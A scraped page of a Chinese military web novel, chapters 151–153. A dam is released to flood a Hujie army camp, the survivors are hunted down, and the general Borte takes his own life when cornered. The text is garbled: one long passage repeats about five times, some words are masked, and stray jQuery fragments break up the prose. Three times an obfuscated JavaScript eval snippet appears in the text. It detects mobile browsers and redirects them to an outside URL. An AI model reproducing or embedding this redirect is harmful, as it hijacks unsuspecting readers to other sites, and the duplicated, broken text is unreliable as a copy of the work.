名胡羯士兵抱怨道。 “你小声点,要是被上面听到了,少不了吃板子!”另一人小声提醒道。 “咦……怎么没水了?” 忽然,其中一人借助月光看着河道,“天黑前不还有很多水吗?怎么现在都干了?” 另一人则是见怪不怪,说道:“你也不想想,咱们两万人,外加上万匹战马,把水喝干不是很正常吗?” “不对呀,之前看着水挺大啊,都快小半河水了!”那名胡羯士兵依旧觉得不对劲。 …… 酉时刚过,武定关城门大开,五千骑趁着夜色出城,直奔曳敕滩而去。 领头之人乃是一名二十六七岁的男子,眉宇间带着几分书生气,却又不失阳刚与英武。 此人不是别人,正是陈暻垚。 时间一点点过去,曳敕滩上游水闸中,水位以肉眼可见的速度上涨,由于曳敕河河道平缓,水位每上涨一分都需要很多水量。 守在这里的是轩辕孤鸿率领的丁标。 轩辕孤鸿抬头看了一眼星空,问道:“什么时辰了?” “回标长,快到子时了!”一名士兵回答道。 “水闸还差多少?”轩辕孤鸿又问道。 “不足三尺了!” 听到这里,轩辕孤鸿神色一变,说道:“不行,得把闸口加高!” 按照之前凌川的交代,子时三刻开闸放水,可按照现在的进度来看,不到子时,水位就会漫过水闸。 士兵们立马行动起来,开始加高闸口。 既然是水攻,水自然是越多越好,可问题是,若是加高闸口,这座临时修建的水闸未必承受得住。 因为,水闸每加高一分,水闸承受的压力将翻几倍。 轩辕孤鸿现在只能在心里祈祷,水闸能坚持到子时三刻。 然而,他担心的事情终究还是发生了。 “标长,不好了,水闸快崩了!” 轩辕孤鸿脸色剧变,快步来到水闸边,只见水闸已经朝外鼓起来,扎在河床下面的木桩也严重弯曲,似乎随时都会断开。 “快,加木桩!” 轩辕孤鸿大喝一声,随即纵身一跃来到河床下,抱起一根削尖的木头冲了上去。 其他人也不敢耽搁,迅速开始加固,可即便如此,随着蓄水的不断增加,水闸崩溃的趋势越来越明显。 “标长,这水闸扛不住了,要不提前放水吧!”一名什长提议道。 “不行!”轩辕孤鸿想都没想,直接将其否决。 提前放水,固然能解决眼前的问题,可凌川的命令是子时三刻,就算早一刻,都有可能打乱整个计划。 毕竟,水淹两万敌军,只是整个计划的第一步。 “标长,水闸快顶不住了!” “就算用身体,也要给老子顶住!”轩辕孤鸿大喝道。 士兵们纷纷跳下河谷,用双手推住木桩,亦或是用后背抵在水闸上。 不多时,水位再次漫过闸口,流在士兵们的身上,要知道,这可是祁连雪峰上冰川融化之后流下来水,浸湿铠甲之后,冷得刺骨。 很多人都冻得嘴唇发紫,浑身哆嗦,但他们还是在咬牙坚持,没有人撤退。 “还有多久?”轩辕孤鸿咬牙问道。 “还有一刻钟!”岸边的士兵满脸焦急,紧盯着马蹄沙漏。 “准备绳索!”轩辕孤鸿再次下令,很快一条条绳索绑在河谷中那些士兵的腰上,另一头则是被岸边的士兵们死死拽住。 随着闸口溢出的水越来越多,下面的士兵已经被淹没,很多人浑身被冻得僵硬,四肢都失去了知觉。 终于,一名士兵举着马蹄沙漏大喊道: “标长,时间到了!” 名胡羯士兵抱怨道。 “你小声点,要是被上面听到了,少不了吃板子!”另一人小声提醒道。 “咦……怎么没水了?” 忽然,其中一人借助月光看着河道,“天黑前不还有很多水吗?怎么现在都干了?” 另一人则是见怪不怪,说道:“你也不想想,咱们两万人,外加上万匹战马,把水喝干不是很正常吗?” “不对呀,之前看着水挺大啊,都快小半河水了!”那名胡羯士兵依旧觉得不对劲。 …… 酉时刚过,武定关城门大开,五千骑趁着夜色出城,直奔曳敕滩而去。 领头之人乃是一名二十六七岁的男子,眉宇间带着几分书生气,却又不失阳刚与英武。 此人不是别人,正是陈暻垚。 时间一点点过去,曳敕滩上游水闸中,水位以肉眼可见的速度上涨,由于曳敕河河道平缓,水位每上涨一分都需要很多水量。 守在这里的是轩辕孤鸿率领的丁标。 轩辕孤鸿抬头看了一眼星空,问道:“什么时辰了?” “回标长,快到子时了!”一名士兵回答道。 “水闸还差多少?”轩辕孤鸿又问道。 “不足三尺了!” 听到这里,轩辕孤鸿神色一变,说道:“不行,得把闸口加高!” 按照之前凌川的交代,子时三刻开闸放水,可按照现在的进度来看,不到子时,水位就会漫过水闸。 士兵们立马行动起来,开始加高闸口。 既然是水攻,水自然是越多越好,可问题是,若是加高闸口,这座临时修建的水闸未必承受得住。 因为,水闸每加高一分,水闸承受的压力将翻几倍。 轩辕孤鸿现在只能在心里祈祷,水闸能坚持到子时三刻。 然而,他担心的事情终究还是发生了。 “标长,不好了,水闸快崩了!” 轩辕孤鸿脸色剧变,快步来到水闸边,只见水闸已经朝外鼓起来,扎在河床下面的木桩也严重弯曲,似乎随时都会断开。 “快,加木桩!” 轩辕孤鸿大喝一声,随即纵身一跃来到河床下,抱起一根削尖的木头冲了上去。 其他人也不敢耽搁,迅速开始加固,可即便如此,随着蓄水的不断增加,水闸崩溃的趋势越来越明显。 “标长,这水闸扛不住了,要不提前放水吧!”一名什长提议道。 “不行!”轩辕孤鸿想都没想,直接将其否决。 提前放水,固然能解决眼前的问题,可凌川的命令是子时三刻,就算早一刻,都有可能打乱整个计划。 毕竟,水淹两万敌军,只是整个计划的第一步。 “标长,水闸快顶不住了!” “就算用身体,也要给老子顶住!”轩辕孤鸿大喝道。 士兵们纷纷跳下河谷,用双手推住木桩,亦或是用后背抵在水闸上。 不多时,水位再次漫过闸口,流在士兵们的身上,要知道,这可是祁连雪峰上冰川融化之后流下来水,浸湿铠甲之后,冷得刺骨。 很多人都冻得嘴唇发紫,浑身哆嗦,但他们还是在咬牙坚持,没有人撤退。 “还有多久?”轩辕孤鸿咬牙问道。 “还有一刻钟!”岸边的士兵满脸焦急,紧盯着马蹄沙漏。 “准备绳索!”轩辕孤鸿再次下令,很快一条条绳索绑在河谷中那些士兵的腰上,另一头则是被岸边的士兵们死死拽住。 随着闸口溢出的水越来越多,下面的士兵已经被淹没,很多人浑身被冻得僵硬,四肢都失去了知觉。 终于,一名士兵举着马蹄沙漏大喊道: “标长,时间到了!” 名胡羯士兵抱怨道。 “你小声点,要是被上面听到了,少不了吃板子!”另一人小声提醒道。 “咦……怎么没水了?” 忽然,其中一人借助月光看着河道,“天黑前不还有很多水吗?怎么现在都干了?” 另一人则是见怪不怪,说道:“你也不想想,咱们两万人,外加上万匹战马, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971340|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把水喝干不是很正常吗?” “不对呀,之前看着水挺大啊,都快小半河水了!”那名胡羯士兵依旧觉得不对劲。 …… 酉时刚过,武定关城门大开,五千骑趁着夜色出城,直奔曳敕滩而去。 领头之人乃是一名二十六七岁的男子,眉宇间带着几分书生气,却又不失阳刚与英武。 此人不是别人,正是陈暻垚。 时间一点点过去,曳敕滩上游水闸中,水位以肉眼可见的速度上涨,由于曳敕河河道平缓,水位每上涨一分都需要很多水量。 守在这里的是轩辕孤鸿率领的丁标。 轩辕孤鸿抬头看了一眼星空,问道:“什么时辰了?” “回标长,快到子时了!”一名士兵回答道。 “水闸还差多少?”轩辕孤鸿又问道。 “不足三尺了!” 听到这里,轩辕孤鸿神色一变,说道:“不行,得把闸口加高!” 按照之前凌川的交代,子时三刻开闸放水,可按照现在的进度来看,不到子时,水位就会漫过水闸。 士兵们立马行动起来,开始加高闸口。 既然是水攻,水自然是越多越好,可问题是,若是加高闸口,这座临时修建的水闸未必承受得住。 因为,水闸每加高一分,水闸承受的压力将翻几倍。 轩辕孤鸿现在只能在心里祈祷,水闸能坚持到子时三刻。 然而,他担心的事情终究还是发生了。 “标长,不好了,水闸快崩了!” 轩辕孤鸿脸色剧变,快步来到水闸边,只见水闸已经朝外鼓起来,扎在河床下面的木桩也严重弯曲,似乎随时都会断开。 “快,加木桩!” 轩辕孤鸿大喝一声,随即纵身一跃来到河床下,抱起一根削尖的木头冲了上去。 其他人也不敢耽搁,迅速开始加固,可即便如此,随着蓄水的不断增加,水闸崩溃的趋势越来越明显。 “标长,这水闸扛不住了,要不提前放水吧!”一名什长提议道。 “不行!”轩辕孤鸿想都没想,直接将其否决。 提前放水,固然能解决眼前的问题,可凌川的命令是子时三刻,就算早一刻,都有可能打乱整个计划。 毕竟,水淹两万敌军,只是整个计划的第一步。 “标长,水闸快顶不住了!” “就算用身体,也要给老子顶住!”轩辕孤鸿大喝道。 士兵们纷纷跳下河谷,用双手推住木桩,亦或是用后背抵在水闸上。 不多时,水位再次漫过闸口,流在士兵们的身上,要知道,这可是祁连雪峰上冰川融化之后流下来水,浸湿铠甲之后,冷得刺骨。 很多人都冻得嘴唇发紫,浑身哆嗦,但他们还是在咬牙坚持,没有人撤退。 “还有多久?”轩辕孤鸿咬牙问道。 “还有一刻钟!”岸边的士兵满脸焦急,紧盯着马蹄沙漏。 “准备绳索!”轩辕孤鸿再次下令,很快一条条绳索绑在河谷中那些士兵的腰上,另一头则是被岸边的士兵们死死拽住。 随着闸口溢出的水越来越多,下面的士兵已经被淹没,很多人浑身被冻得僵硬,四肢都失去了知觉。 终于,一名士兵举着马蹄沙漏大喊道: “标长,时间到了!” 名胡羯士兵抱怨道。 “你小声点,要是被上面听到了,少不了吃板子!”另一人小声提醒道。 “咦……怎么没水了?” 忽然,其中一人借助月光看着河道,“天黑前不还有很多水吗?怎么现在都干了?” 另一人则是见怪不怪,说道:“你也不想想,咱们两万人,外加上万匹战马,把水喝干不是很正常吗?” “不对呀,之前看着水挺大啊,都快小半河水了!”那名胡羯士兵依旧觉得不对劲。 …… 酉时刚过,武定关城门大开,五千骑趁着夜色出城,直奔曳敕滩而去。 领头之人乃是一名二十六七岁的男子,眉宇间带着几分书生气,却又不失阳刚与英武。 此人不是别人,正是陈暻垚。 时间一点点过去,曳敕滩上游水闸中,水位以肉眼可见的速度上涨,由于曳敕河河道平缓,水位每上涨一分都需要很多水量。 守在这里的是轩辕孤鸿率领的丁标。 轩辕孤鸿抬头看了一眼星空,问道:“什么时辰了?” “回标长,快到子时了!”一名士兵回答道。 “水闸还差多少?”轩辕孤鸿又问道。 “不足三尺了!” 听到这里,轩辕孤鸿神色一变,说道:“不行,得把闸口加高!” 按照之前凌川的交代,子时三刻开闸放水,可按照现在的进度来看,不到子时,水位就会漫过水闸。 士兵们立马行动起来,开始加高闸口。 既然是水攻,水自然是越多越好,可问题是,若是加高闸口,这座临时修建的水闸未必承受得住。 因为,水闸每加高一分,水闸承受的压力将翻几倍。 轩辕孤鸿现在只能在心里祈祷,水闸能坚持到子时三刻。 然而,他担心的事情终究还是发生了。 “标长,不好了,水闸快崩了!” 轩辕孤鸿脸色剧变,快步来到水闸边,只见水闸已经朝外鼓起来,扎在河床下面的木桩也严重弯曲,似乎随时都会断开。 “快,加木桩!” 轩辕孤鸿大喝一声,随即纵身一跃来到河床下,抱起一根削尖的木头冲了上去。 其他人也不敢耽搁,迅速开始加固,可即便如此,随着蓄水的不断增加,水闸崩溃的趋势越来越明显。 “标长,这水闸扛不住了,要不提前放水吧!”一名什长提议道。 “不行!”轩辕孤鸿想都没想,直接将其否决。 提前放水,固然能解决眼前的问题,可凌川的命令是子时三刻,就算早一刻,都有可能打乱整个计划。 毕竟,水淹两万敌军,只是整个计划的第一步。 “标长,水闸快顶不住了!” “就算用身体,也要给老子顶住!”轩辕孤鸿大喝道。 士兵们纷纷跳下河谷,用双手推住木桩,亦或是用后背抵在水闸上。 不多时,水位再次漫过闸口,流在士兵们的身上,要知道,这可是祁连雪峰上冰川融化之后流下来水,浸湿铠甲之后,冷得刺骨。 很多人都冻得嘴唇发紫,浑身哆嗦,但他们还是在咬牙坚持,没有人撤退。 “还有多久?”轩辕孤鸿咬牙问道。 “还有一刻钟!”岸边的士兵满脸焦急,紧盯着马蹄沙漏。 “准备绳索!”轩辕孤鸿再次下令,很快一条条绳索绑在河谷中那些士兵的腰上,另一头则是被岸边的士兵们死死拽住。 随着闸口溢出的水越来越多,下面的士兵已经被淹没,很多人浑身被冻得僵硬,四肢都失去了知觉。 终于,一名士兵举着马蹄沙漏大喊道: “标长,时间到了!” 名胡羯士兵抱怨道。 “你小声点,要是被上面听到了,少不了吃板子!”另一人小声提醒道。 “咦……怎么没水了?” 忽然,其中一人借助月光看着河道,“天黑前不还有很多水吗?怎么现在都干了?” 另一人则是见怪不怪,说道:“你也不想想,咱们两万人,外加上万匹战马,把水喝干不是很正常吗?” “不对呀,之前看着水挺大啊,都快小半河水了!”那名胡羯士兵依旧觉得不对劲。 …… 酉时刚过,武定关城门大开,五千骑趁着夜色出城,直奔曳敕滩而去。 领头之人乃是一名二十六七岁的男子,眉宇间带着几分书生气,却又不失阳刚与英武。 此人不是别人,正是陈暻垚。 时间一点点过去,曳敕滩上游水闸中,水位以肉眼可见的速度上涨,由于曳敕河河道平缓,水位每上涨一分都需要很多水量。 守在这里的是轩辕孤鸿率领的丁标。 轩辕孤鸿抬头看了一眼星空,问道:“什么时辰了?” “回标长,快到子时了!”一名士兵回答道。 “水闸还差多少?”轩辕孤鸿又问道。 “不足三尺了!” 听到这里,轩辕孤鸿神色一变,说道:“不行,得把闸口加高!” 按照之前凌川的交代,子时三刻开闸放水,可按照现在的进度来看,不到子时,水位就会漫过水闸。 士兵们立马行动起来,开始加高闸口。 既然是水攻,水自然是越多越好,可问题是,若是加高闸口,这座临时修建的水闸未必承受得住。 因为,水闸每加高一分,水闸承受的压力将翻几倍。 轩辕孤鸿现在只能在心里祈祷,水闸能坚持到子时三刻。 然而,他担心的事情终究还是发生了。 “标长,不好了,水闸快崩了!” 轩辕孤鸿脸色剧变,快步来到水闸边,只见水闸已经朝外鼓起来,扎在河床下面的木桩也严重弯曲,似乎随时都会断开。 “快,加木桩!” 轩辕孤鸿大喝一声,随即纵身一跃来到河床下,抱起一根削尖的木头冲了上去。 其他人也不敢耽搁,迅速开始加固,可即便如此,随着蓄水的不断增加,水闸崩溃的趋势越来越明显。 “标长,这水闸扛不住了,要不提前放水吧!”一名什长提议道。 “不行!”轩辕孤鸿想都没想,直接将其否决。 提前放水,固然能解决眼前的问题,可凌川的命令是子时三刻,就算早一刻,都有可能打乱整个计划。 毕竟,水淹两万敌军,只是整个计划的第一步。 “标长,水闸快顶不住了!” “就算用身体,也要给老子顶住!”轩辕孤鸿大喝道。 士兵们纷纷跳下河谷,用双手推住木桩,亦或是用后背抵在水闸上。 不多时,水位再次漫过闸口,流在士兵们的身上,要知道,这可是祁连雪峰上冰川融化之后流下来水,浸湿铠甲之后,冷得刺骨。 很多人都冻得嘴唇发紫,浑身哆嗦,但他们还是在咬牙坚持,没有人撤退。 “还有多久?”轩辕孤鸿咬牙问道。 “还有一刻钟!”岸边的士兵满脸焦急,紧盯着马蹄沙漏。 “准备绳索!”轩辕孤鸿再次下令,很快一条条绳索绑在河谷中那些士兵的腰上,另一头则是被岸边的士兵们死死拽住。 随着闸口溢出的水越来越多,下面的士兵已经被淹没,很多人浑身被冻得僵硬,四肢都失去了知觉。 终于,一名士兵举着马蹄沙漏大喊道: “标长,时间到了!” 第151章 水淹曳敕滩! “撤!”轩辕孤鸿大喝一声,数十名士兵同时松手,那水闸也瞬间崩溃,积蓄已久的洪流宛如猛兽出笼,奔腾而出。 几十名士兵瞬间被洪水淹没,眼看就要被卷走。 “快,用力拉绳子!”副标段锋在岸边大喝道。 岸边的士兵,两人拉一条绳子,将下面的人拉上来。 众人一起发力,将一道道身影从奔流的洪水中拽了出来,若非之前在他们腰上绑好绳索,此时这几十人已经被洪水卷走。 就在此时,一声轻响传来,其中一条绳索忽然断开,那名士兵直挺挺朝着奔腾洪水掉落下去。 众**惊失色,却只能眼睁睁看着。 就在这千钧一发之际,一道身影掠至跟前,一把将他的腰带抓住。 “标长……” 那名士兵吓得亡魂皆冒,看着身下翻滚咆哮的洪水,声音颤抖。 “别松手,我拉你上去!” 只见轩辕孤鸿手臂之上青筋暴露,死死抓住他的腰带,岸上的士兵也纷纷跑上来帮忙拉绳索,总算是将二人拉了上来。 “兄弟们都没事吧?”轩辕孤鸿一边喘气,一边问道。 “大家都上来了!”段锋回答道:“标长,刚才吓死我们了!” 轩辕孤鸿转过目光看着奔腾而下的洪水,说道:“总算完成了校尉大人交代的任务!” 紧接着,他眼神中露出坚定之色,说道:“传令,所有人立马赶往曳敕滩与校尉大人汇合!” 此时的曳敕河,积蓄已久的河水宛如一条怒龙,发出阵阵低吼与咆哮,顺着蜿蜒河道奔腾而下。 胡羯大营周围,巡夜的士兵恍惚间听到隆隆声,其中一人不由小声问道:“你听到什么动静没?” 那人竖起耳朵一听,说道:“好像是打雷,估计要下雨了!” “不对啊,你看这满天星星,不像要下雨的样子!” “哎!管他呢,再值半个时辰,等换防的来了,咱们好好睡一觉去!” …… 位于曳敕滩东面,一座小土丘后方,除了丁标之外,所有人全部**在一起。 “西面情况如何?”凌川对纪天禄问道。 “回禀大人,半个时辰前,武定关的五千兵马已经抵达,陈都尉按照咱们的约定,四面布防!”纪天禄回禀道。 就在这时,聂星寒目光一凝,说道:“来了!” 众人闻言,也都纷纷打起精神来,他们心里都清楚,聂星寒所指的是什么。 片刻之后,隆隆声宛如闷雷一般袭来,曳敕滩巡防的胡羯士兵愈发觉得不对劲。 “快看,那是什么?”一名士兵借助月光,看到一大片明晃晃的东西朝着他们逼近。 身旁的同伴定睛一看,只见一个庞然大物翻滚着朝他们碾压过来。 他当场被吓得说不出话来,直到那‘巨物’将他拍翻在地,他才反应过来,这赫然是一道水浪。 他彻底懵了,为何这大草原之上会出现水浪? 事实上,此时的他也没心思去想这个问题,因为,此时他的身体已经被巨浪吞噬,直接涌向营帐。 曳敕滩本就处在曳敕河的平缓位置,而河道在这里又恰逢大拐弯,凶猛洪水便宛如俯冲而下的猛兽,直接一头扎进营帐方向。 “轰隆隆……” 在洪水面前,这些营帐宛如纸糊的一般不堪一击,要知道,洪水之中还夹杂着大量沿途带来的泥沙,一路摧枯拉朽,将成片营帐摧毁。 很多实在熟睡着的士兵,根本没反应过来是怎么回事,便已经被洪水淹没。 “泛洪了……” 有**喊道,结果,话才说一半,声音便戛然而止。 孛儿帖听闻外面的动静,猛然惊醒,只见他翻身而起,抓起自己的弯刀就走了出去。 可脚刚落地,便发现一片冰凉,他快速点燃灯火,发现营帐之中的水已经漫到了膝盖。 这让他顿时一惊,顾不得披甲,直接冲向账外。 刚掀开营帐,便看到整个军营一片狼藉,一座座营帐被洪水摧毁,东倒西歪。 月光下,水波汹涌,到处都是士兵在洪水中挣扎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975780|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>霎时间,孛儿帖只感觉脑袋嗡的一声响,脸色瞬间变得煞白一片。 出生于草原部落的胡羯人基本不熟水性,这些士兵一旦落水,那就等同于宣告死亡。 孛儿帖大惊失色,饶是他纵横沙场几十年,历经过苦战、鏖战,却从未遇到过这种情况。 “将军,泛洪了,快走吧!”一众亲兵满身狼狈地冲了上来,就要带着他离开。 孛儿帖这才发现,刚才这刹那的功夫,水位已经涨到大腿根了。 草原部落天生畏水,饶是他这样的沙场猛将也不例外,在一众亲兵的搀扶下,艰难逃离。 可这黑灯瞎火的,再加上到处都是洪水,一时间也不知道往哪里逃。 就在此时,周围传来战马嘶鸣的声音,马厩之中的战马受惊之下也都挣脱缰绳,开始乱窜。 六畜通灵,天生懂得趋吉避凶,亲兵见状,连忙拉住一匹战马的缰绳。 “将军快上马!” 几人扶着孛儿帖坐到马背上,然后任由那匹战马驮着他深一脚浅一脚地淌水奔跑。 不到半个时辰,整个曳敕滩彻底化为一片**,上百座军营彻底被摧毁,漂浮在水中,无数士兵在水中挣扎,有的抱着营帐仿佛抓住了救命稻草,可随着越来越多的人抓住营帐,那营帐也承受不住,沉入水中。 士兵求救声和战马嘶鸣声此起彼伏,很多人挣扎了几下便彻底失去了动静。 此时,下游的水坝也起了作用,以至于大量洪水无法排泄,一直被关在这里。 不远处,凌川带着云岚军站在一处土丘之上,借助月光看着那片泛着白光的**。 忽然,凌川开口说道:“准备干活了!” 身后众人闻言,纷纷取下破甲弓,果然,没多久便看到一群胡羯士兵满身狼狈朝着这边而来。 为了逃命,他们连兵器都顾不得拿,铠甲也都脱掉,一个个穿着单衣,满脸惊恐地朝着这边跑过来。 “咻咻咻……” 一道道破空声划破黑夜,这一群胡羯士兵还没反应过来,便被冰冷的铁箭贯穿身体,应声倒地。 第152章 丧家之犬! 曳敕滩。 两万胡羯大军在水中挣扎呼喊惨烈无比。 或许他们做梦也不会相信自己有一天会在草原上被水淹死。 一个时辰之后曳敕滩逐渐安静下来两万胡羯主力军尽数被淹死借助月光看去只见水面上漂浮着密密麻麻的尸体有人也有马。 只有少部分胡羯军一开始便发现情况逃了出去还有一些则是本身处于边缘地带奋力爬到岸边逃走。 然而他们不知道的是曳敕滩四面八方早已被围死他们注定逃不掉。 凌川率云岚军占领东南方向将一批又一批的逃兵解决。 而陈暻垚率五千骑兵分三路将另外三个方向也彻底堵死。 虽然逃出去的胡羯士兵足有几千人但这些人早已被吓破了胆一个个丢盔弃甲根本没有战力几乎不费吹灰之力便被斩杀。 终于东方泛起了白肚云所剩不多的胡羯军被困在曳敕滩西北方向的一座小土丘上。 虽有两千余人却个个如丧家之犬满脸惊慌与绝望。 一千五百云岚军外加五千阑州军将其团团围住。 几轮箭雨之后两千胡羯残兵被**殆尽。 陈暻垚立马下令打扫战场而他自己则是带着亲兵快马赶来与凌川见面。 狼烽口一别虽只有短短三个月可此时二人的脸上却写满了激动。 “好小子短短三个月你这些铠甲也太帅了!”陈暻垚翻身下马一拳砸在凌川的肩膀笑道。 凌川注意到陈暻垚的铠甲内衬竟然有血迹 陈暻垚笑了笑“两日前夜间遭遇了**险些把这条命给交代了!” “**抓到了吗?” 陈暻垚摇头“抓到了一些不过都选择自尽了!” “是拓跋桀派来的?”凌川又问。 “是蛇窟的**!”陈暻垚点头说道。 对于蛇窟这个名字凌川也只是听过名字没有太多了解。 据说当年拓跋桀接管胡羯南征军之后网罗江湖高手组建了一支极其恐怖的队伍分别为燕巢、蚁窠和蛇窟。 蚁窠负责情报收集、燕巢负责情报传递、蛇窟则是负责刺杀。 这些年来蚁窠和燕巢一直都在渗透北疆至于渗透了多少没有人知道。 至于蛇窟这些年也很少有动作上一次还是八年前蛇窟**倾巢而出欲在玉门关刺杀北系军主帅卢恽筹 。 那一次,蛇窟**布局精妙,据说蛇窟的七大首领出动了四位,卢恽筹被堵在关外进退不得,一千亲兵奋力死守,与蛇窟**以命换命。 亲兵营士兵死伤过半,眼看就要被对方得逞之际,玉门关守将张嶷岳率军赶到,这才让蛇窟功败垂成,在付出数百**为代价后,遗憾退走。 但,这一战,也让蛇窟之名威震天下,无论是草原还是中原,无论是军中还是江湖,都对蛇窟之名如雷贯耳。 刺杀堂堂北系军主帅,虽然最终失败了,但这一壮举也足够震惊天下。 但,那一战,也让蛇窟元气大伤,之后这数年,蛇窟一直隐匿不出,但,世人皆知,蛇窟并未消失,相反,他们只是躲在暗中疗伤,等他们再次现身的时候,必将又是一场血雨腥风。 “此次,蛇窟出动了近百名**,几乎是将阑州的高层将领一网打尽,截至目前,十一人当场身亡,还有好几人身受重伤,生死难料!” 紧接着,陈暻垚凑到凌川耳边,小声说道:“许将军身受重伤,性命垂危,现在还处于昏迷之中!” 凌川目光一凝,他知道,陈暻垚口中的许将军正是阑州主将,许牧舟。 就在此时,一名阑州军校尉快步跑来,行礼道:“大人,并未发现孛儿帖的尸体!” 陈暻垚与凌川对视一眼,神色皆是一变。 “全军听令,一营一队分兵追杀,一定要给我追上孛儿帖!”陈暻垚果断下令。 凌川也顾不得跟他叙旧,将云岚军分成两队追击,自己带亲兵队和甲乙两标,唐岿然则是带着重甲队和丙丁两标为一队。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975781|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 五路兵马宛如一张大网撒开,从不同的方向追去。 一炷香之后,他们终于发现了对方的踪迹,只见地上有一排清晰的马蹄印,直奔北面而去,斥候辨认得知,这马蹄印绝不超过半个时辰。 “追!” 凌川冷声突出一个字,随即果断追了上去。 不多时,马蹄印的方向开始偏移,朝着西面而去。 而就在西面十里处,陈暻垚带着一千余骑,截住了一支胡羯逃兵,对方兵力大约六七百人,所有人浑身湿漉漉,连盔甲都没有,显然是从曳敕滩逃出来的。 双方没有任何废话,一见面便展开厮杀。 然而,这支胡羯骑兵并不恋战,只是分出一部分兵力挡住陈暻垚的一千骑,其余人则是掉抓方向离开。 “孛儿帖就在队伍中,给我冲上去缠住他们,别让他们跑了!”陈暻垚大喝道。 胡羯军队伍同样在大喊,“保护将军撤离!” 眼看孛儿帖在两百余骑的保护下远去,陈暻垚内心也焦急起来,对亲兵校尉大喊道: “蒋晟!这里交给你,来两百人跟我走!”陈暻垚大喝一声,一马当先奔了出去。 “虎子,带三百人跟都尉大人去,我这边一炷香之内解决战斗!”蒋晟大喝道。 “是!”一名壮汉大声回答道。 孛儿帖从未像今日这般狼狈过,整整两万精兵,全部葬身于曳敕滩,自己更是带着数百残兵如丧家之犬一般逃命。 此次,部落的青壮都葬身曳敕滩,部落的势力和声望注定要一落千丈。 这一路逃亡途中,他曾不止一次想过自我了结,都被手下拦住了,一名跟随他多年的族人告诉他,只有活着才有希望。 正是这句话,支撑着他一路逃亡。 忽然,前方出现大批兵马,领头之人乃是一名十六七岁的少年,身后跟着五六百人,一个个铠甲鲜亮,横列于前方,挡住了他们的去路。 “云岚校尉凌川,恭候阁下多时了!” 第153章 最后的体面! 听到凌川二字,孛儿帖神色顿时一变。 他虽是最近才从天汗城赶到斡拏城,但也听说周军之中出了一个了不起的少年,名为凌川。 “你就是那个凌川?果真是英雄出少年!” 孛儿帖目光平静,无喜无悲,也不知是见惯生死,哪怕是现在依然能保持泰然自若,还是说自知逃走无望,已经坦然接受现实。 “如果我所料不错,是你放水淹了我两万大军吧?”孛儿帖看着凌川,问道。 “正是在下!”凌川点了点头,说道:“而且,铁鳞城外那一把火,也是我放的!” 孛儿帖在昨日天黑前便得知了铁鳞城外的消息,也知道,凌川带着一千五百云岚军沿途追了过来。 没想到自己前脚带兵刚走,后脚便有人偷袭了大营,六千战兵外加三四千辅兵**得片甲不留,就连狼蚀的人头都被砍了下来。 更没想到,凌川竟然来得这么快,短短两天时间便赶到自己前面,并设下一个局,等着自己钻进来。 昨日,得知铁鳞城外的消息后,孛儿帖大发雷霆,怒斥狼蚀是废物,活该被人砍下脑袋。 直到此时,他才明白,败在这个少年的手中,不冤。 “如果再给我一次机会,我就算将两万精兵拼光,也要杀你!”孛儿帖沉声说道。 凌川面露诧异之色,问道:“哦?这是为何?” “因为,不出十年,你将是胡羯帝国乃至整个草原的不世大敌!”孛儿帖目光严肃,神色中更是前所未有的认真。 凌川也略感诧异,没想到他对自己的评价竟如此之高。 而就在此时,陈暻垚带着三百亲兵追了上来,一前一后将孛儿帖以及身边的两百亲兵堵住。 自知逃生无望,孛儿帖的脸上没有丝毫恐惧,反而是一脸从容。 他看了看凌川,又转身看了看陈暻垚,这二人皆是大周北系军中的后起之秀,事实上,除了他二人之外,还有不少正值当打之年的将领,如催行俭、宋景之流,更是不在少数。 恍惚间,他竟然生出一个念头,那就是大周帝国未必就真的气数已尽,没有续命回天的可能。 “将军,咱们保护你杀出去!”孛儿帖身边,一名铠甲残破的壮汉紧握着弯刀,眼神中满是决然之色。 他是一名千夫长,更是孛儿帖的亲侄子。 可孛儿帖却摇了摇头,说道:“看来,我是没办法把你们带回去了!” 此言一出,让两百余草原勇士内心一沉,他们都是跟 随孛儿帖征战多年的百战勇士,以往无论面对多么艰难的局面,将军总会带着他们扭转战局、反败为胜。 可这一次,将军却放弃了,他们仿佛被抽掉了全身力气,瞬间失去了方向。 “我胡羯男儿死则死矣,长眠于这茫茫草原,未尝不是最好的归宿!” 孛儿帖的目光从众人脸上缓缓扫过,再度开口说道:“但,就算是死,我们也要死得有尊严!” 说完,他猛然拔出腰间的战刀,不给众人反应的机会,快速从自己的脖子抹过。 “将军!” 那名千夫长惊呼一声,奈何已经来不及。 只见一抹滚烫的鲜血喷洒而出,孛儿帖手中战刀无力掉落,他的身体也随之一软,趴在了马背上。 